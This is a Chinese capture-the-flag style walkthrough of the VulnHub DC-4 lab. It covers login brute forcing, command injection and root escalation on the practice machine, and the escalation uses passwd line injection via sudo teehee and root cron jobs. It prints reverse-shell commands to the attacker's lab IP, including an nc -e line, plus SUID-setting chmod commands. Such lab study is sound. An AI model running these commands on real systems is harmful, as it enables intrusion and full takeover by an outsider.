vulnhub-DC系列4

1.写在前面

这是DC系列的第5个,也是vulnhub靶场练习的第6篇文章。

“我偏爱写诗的荒谬,胜过不写诗的荒谬” — 辛斯波卡

Tips:DC4着重学习了有关提权的部分,学习了计划任务&&passwd明文写入提权姿势

2.知识点速记

  • 远程命令执行(RMI)
  • Linux关键文件&内容检索
  • sudo提权
  • crontab计划任务提权
  • passwd明文写入提权

3.环境配置

直接去vulnhub官网下载 Vulnhub-DC4对应的ova文件即可,然后拖入vmware。这里为了方便宿主机与靶机通讯,将虚拟机的网络模式设置为了NAT模式

Win10 宿主机、kali2020 攻击机、vulnhub靶机

4.信息收集

环境配置好后,首先确认一下IP,在kali上查看当前IP为 192.168.114.128

4.1 常规探测

对当前网段的主机探测,发现目标主机存在192.168.114.134存活,开放端口22,80。

进行全端口细致扫描,并未发现有其他端口开放,然后识别下版本信息:

访问下该http业务,发现是一个管理信息登录后台界面。常规思路,扫下目录和文件,未果。


4.2 用户爆破

得了,拿出传统艺能爆破吧,找个好使的字典,账号盲猜就是admin,真就扫出了密码happy

登录系统后,发现后台页面可以发起系统命令请求,于是抓包查看:


5. 漏洞利用

5.1 远程命令执行

知识点1:远程命令执行(RMI)

远程命令执行漏洞是Web系统常见漏洞类型,一般可直接getshell。

上面的命令是列举目录,我们修改radio的值就可以执行想要的命令:

直接使用bash -i >& /dev/tcp/ip/port 0>&1 但命令中因为存在>标签而被截断

换个nc命令测试一下,发现可以哦:

这里任何能进行shell反弹的命令都行

Linux 反弹shell 总集篇

直接进入了jim用户家目录下,看了下除了jim还有charlessam用户:


5.2 ssh登录爆破

bucakups里面存储的是历史密码,好家伙,爆破梅开二度:

这里用msf模块爆破,还能弹回来个shell

用户密码: jim/jibril04


6. 提权

6.1 SUID提权

我们登录到jim用户,其实之前jim下还有个test.sh脚本,而且带有s标志位。

在这里想了很多办法,包括修改脚本文件,但终究是无法提权。

坑点1:s标志位提权

这里test.sh的属主是jim本身,并不是root权限,所以再怎么提权也无法提到root


6.2 sudo-teehee 提权

此外,已经有了ssh的账号密码,我们直接ssh过去,毕竟shell友好:

其实这里登录的时候也提示了有新邮件,当时没注意到:

这里找一下有关mail的目录:

当然,也可以找下存在指定内容的文件。

于是,在jim的收件箱里发现charles发的邮件,charles要休假,所以把密码给了jim….

账号密码:Charles / ^xHhA&hvim0y,那我们转到charles来看看。

这里列举一些常规的提权思路:

  • 系统内核漏洞 —— 获取版本 + 自检脚本
  • sudo 提权 —— 列举当前用户可sudo的程序
  • suid 提权 —— 发现具有root权限的s标志位程序

这里sudo -l 发现charles用户可以免密执行teehee,但teehee是啥命令?

这里 --help 查看下teehee是啥玩意。

teehee:该命令可以将标准输入写入文件及标准输出中

使用 -a 将标准输入追加到指定文件

6.2.1 passwd明文写入

知识点2:passwd明文写入

passwd记录的是系统的账号密码,若具有写权限,可写入明文密码

从而覆盖shadow文件中的密码

1
2
用户名:是否有密码保护(x即有保护):uid:gid:全称:home目录:/bin/bash
tee::0:0:tee::/bin/bash

然后我们登录下tee用户(这里没有密码)

注意,这里可能生效需要一段时间,反正我重启了虚拟机才可以登录….


6.2.2 计划任务

知识点3:crontab计划任务

若crontab具有写权限,可通过写入计划任务执行提权命令

方式一:

/bin/bash、/bin/sh添加+s权限,即SUID标志位

1
2
3
 m  h day month week user command
*/1 * * * * root chmod 4777 /bin/bash;
*/1 * * * * root chmod 4777 /bin/sh;

坑点2:bash -p 及 EUID

bash在执行的时候,如果发现EUID和当前UID不同,会强制转到UID

需要 -p 取消强制转换,直接以EUID执行

下面直接运行/bin/bash,返回的是charles,这里可以理解为suid只是借用了root的权限在执行。

所以这里要写/bin/bash -p 才能返回root权限。


方式二:

执行nc命令反弹shell

1
*/1 * * * * root nc -e /bin/bash 192.168.114.128 1515

方式三:

执行bash脚本反弹

1
2
3
4
5
6
# bash.sh
#!/bin/bash
bash -i >& 192.168.114.128/5555 0>&1

# /etc/crontab
*/1 * * * * root /tmp/bash.sh

注意:这里需要区别于SUID的执行权限

通过crontab执行bash脚本时,EUID和UID都是root,所以不加-p参数也能返回root权限!

而之前给bash赋予4777权限,如果不加-p,则执行时EUID(0)和UID(非root)不同

导致无法返回root权限!


7.写在结尾

DC4重点学习在于扩展提权方式和提权思路:crontab提权、passwd明文提权

几个比较好的WP:

vulnhub DC4 靶场练习

Vulnhub靶机渗透测试-teehee命令提权